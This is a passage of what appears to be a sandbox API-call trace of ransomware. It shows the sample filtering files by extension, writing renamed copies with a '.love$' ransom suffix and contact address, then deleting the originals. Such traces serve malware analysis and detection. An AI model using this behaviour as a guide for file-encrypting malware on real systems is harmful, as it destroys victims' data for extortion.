lstrlenW (lpString=".dbf") returned 4 [0241.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0241.294] lstrlenW (lpString=".1cd") returned 4 [0241.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0241.294] lstrlenW (lpString=".jpg") returned 4 [0241.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0241.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0241.294] lstrlenW (lpString=".doc") returned 4 [0241.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.294] lstrlenW (lpString=".docx") returned 5 [0241.294] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0241.294] lstrlenW (lpString=".pdf") returned 4 [0241.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.294] lstrlenW (lpString=".xls") returned 4 [0241.294] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.294] lstrlenW (lpString=".xlsx") returned 5 [0241.294] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0241.294] lstrlenW (lpString=".ppt") returned 4 [0241.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0241.294] lstrlenW (lpString=".zip") returned 4 [0241.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.294] lstrlenW (lpString=".rar") returned 4 [0241.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.294] lstrlenW (lpString=".bz2") returned 4 [0241.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.295] lstrlenW (lpString=".7z") returned 3 [0241.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0241.295] lstrlenW (lpString=".dbf") returned 4 [0241.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0241.295] lstrlenW (lpString=".1cd") returned 4 [0241.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0241.295] lstrlenW (lpString=".jpg") returned 4 [0241.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.295] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0241.295] lstrlenW (lpString="DD00117_.WMF") returned 12 [0241.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0241.296] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=31122) returned 1 [0241.296] CloseHandle (hObject=0x4c8) returned 1 [0241.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220 [0241.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0241.297] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.297] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0241.298] GetLastError () returned 0x0 [0241.298] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x7992, lpOverlapped=0x0) returned 1 [0241.328] WriteFile (in: hFile=0x4e8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x79a0, lpOverlapped=0x0) returned 1 [0241.329] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.329] WriteFile (in: hFile=0x4e8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.329] SetEndOfFile (hFile=0x4e8) returned 1 [0241.330] CloseHandle (hObject=0x4e8) returned 1 [0241.330] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.330] SetEndOfFile (hFile=0x4c8) returned 1 [0241.334] CloseHandle (hObject=0x4c8) returned 1 [0241.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0241.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0241.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0241.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0241.337] lstrlenW (lpString=".doc") returned 4 [0241.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.337] lstrlenW (lpString=".docx") returned 5 [0241.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.337] lstrlenW (lpString=".pdf") returned 4 [0241.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.337] lstrlenW (lpString=".xls") returned 4 [0241.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.337] lstrlenW (lpString=".xlsx") returned 5 [0241.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.337] lstrlenW (lpString=".ppt") returned 4 [0241.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0241.337] lstrlenW (lpString=".zip") returned 4 [0241.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.337] lstrlenW (lpString=".rar") returned 4 [0241.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.337] lstrlenW (lpString=".bz2") returned 4 [0241.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.337] lstrlenW (lpString=".7z") returned 3 [0241.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0241.338] lstrlenW (lpString=".dbf") returned 4 [0241.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0241.338] lstrlenW (lpString=".1cd") returned 4 [0241.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0241.338] lstrlenW (lpString=".jpg") returned 4 [0241.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0241.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0241.338] lstrlenW (lpString=".doc") returned 4 [0241.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.338] lstrlenW (lpString=".docx") returned 5 [0241.338] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.338] lstrlenW (lpString=".pdf") returned 4 [0241.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.338] lstrlenW (lpString=".xls") returned 4 [0241.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.338] lstrlenW (lpString=".xlsx") returned 5 [0241.338] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.338] lstrlenW (lpString=".ppt") returned 4 [0241.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0241.338] lstrlenW (lpString=".zip") returned 4 [0241.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.338] lstrlenW (lpString=".rar") returned 4 [0241.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.338] lstrlenW (lpString=".bz2") returned 4 [0241.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.338] lstrlenW (lpString=".7z") returned 3 [0241.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0241.339] lstrlenW (lpString=".dbf") returned 4 [0241.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0241.339] lstrlenW (lpString=".1cd") returned 4 [0241.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0241.339] lstrlenW (lpString=".jpg") returned 4 [0241.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.339] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0241.339] lstrlenW (lpString="DD00234_.WMF") returned 12 [0241.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0241.343] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=29628) returned 1 [0241.343] CloseHandle (hObject=0x4c8) returned 1 [0241.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x220 [0241.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0241.343] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.343] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0241.344] GetLastError () returned 0x0 [0241.344] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x73bc, lpOverlapped=0x0) returned 1 [0241.896] WriteFile (in: hFile=0x4e8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x73c0, lpOverlapped=0x0) returned 1 [0241.898] ReadFile (in: hFile=0x4c8, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.898] WriteFile (in: hFile=0x4e8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.899] SetEndOfFile (hFile=0x4e8) returned 1 [0241.899] CloseHandle (hObject=0x4e8) returned 1 [0241.899] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.899] SetEndOfFile (hFile=0x4c8) returned 1 [0241.903] CloseHandle (hObject=0x4c8) returned 1 [0241.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0241.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1 [0241.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0241.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0241.905] lstrlenW (lpString=".doc") returned 4 [0241.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.905] lstrlenW (lpString=".docx") returned 5 [0241.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.905] lstrlenW (lpString=".pdf") returned 4 [0241.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.905] lstrlenW (lpString=".xls") returned 4 [0241.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.905] lstrlenW (lpString=".xlsx") returned 5 [0241.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.905] lstrlenW (lpString=".ppt") returned 4 [0241.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0241.905] lstrlenW (lpString=".zip") returned 4 [0241.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.905] lstrlenW (lpString=".rar") returned 4 [0241.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.905] lstrlenW (lpString=".bz2") returned 4 [0241.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.905] lstrlenW (lpString=".7z") returned 3 [0241.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0241.906] lstrlenW (lpString=".dbf") returned 4 [0241.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0241.906] lstrlenW (lpString=".1cd") returned 4 [0241.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0241.906] lstrlenW (lpString=".jpg") returned 4 [0241.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0241.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0241.906] lstrlenW (lpString=".doc") returned 4 [0241.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.906] lstrlenW (lpString=".docx") returned 5 [0241.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.906] lstrlenW (lpString=".pdf") returned 4 [0241.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.906] lstrlenW (lpString=".xls") returned 4 [0241.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.906] lstrlenW (lpString=".xlsx") returned 5 [0241.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.906] lstrlenW (lpString=".ppt") returned 4 [0241.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0241.906] lstrlenW (lpString=".zip") returned 4 [0241.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.906] lstrlenW (lpString=".rar") returned 4 [0241.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.907] lstrlenW (lpString=".bz2") returned 4 [0241.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.907] lstrlenW (lpString=".7z") returned 3 [0241.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0241.907] lstrlenW (lpString=".dbf") returned 4 [0241.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0241.907] lstrlenW (lpString=".1cd") returned 4 [0241.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68 [0241.907] lstrlenW (lpString=".jpg") returned 4 [0241.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.907] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0241.907] lstrlenW (lpString="DD00372_.WMF") returned 12 [0241.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0242.120] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=792) returned 1 [0242.120] CloseHandle (hObject=0x44c) returned 1 [0242.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x220 [0242.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0242.121] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.121] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0242.122] GetLastError () returned 0x0 [0242.122] ReadFile (in: hFile=0x44c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x318, lpOverlapped=0x0) returned 1 [0242.223] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x320, lpOverlapped=0x0) returned 1 [0242.224] ReadFile (in: hFile=0x44c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.224] WriteFile (in: hFile=0x4c8, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.224] SetEndOfFile (hFile=0x4c8) returned 1 [0242.225] CloseHandle (hObject=0x4c8) returned 1 [0242.225] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.225] SetEndOfFile (hFile=0x44c) returned 1 [0242.228] CloseHandle (hObject=0x44c) returned 1 [0242.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0242.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0242.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0242.242] lstrlenW (lpString=".doc") returned 4 [0242.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.242] lstrlenW (lpString=".docx") returned 5 [0242.242] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.242] lstrlenW (lpString=".pdf") returned 4 [0242.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.242] lstrlenW (lpString=".xls") returned 4 [0242.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.242] lstrlenW (lpString=".xlsx") returned 5 [0242.242] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.242] lstrlenW (lpString=".ppt") returned 4 [0242.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0242.242] lstrlenW (lpString=".zip") returned 4 [0242.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.242] lstrlenW (lpString=".rar") returned 4 [0242.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.242] lstrlenW (lpString=".bz2") returned 4 [0242.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.242] lstrlenW (lpString=".7z") returned 3 [0242.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0242.242] lstrlenW (lpString=".dbf") returned 4 [0242.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0242.242] lstrlenW (lpString=".1cd") returned 4 [0242.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.242] lstrlenW (lpString="C:\\Program Files\\Microsoft 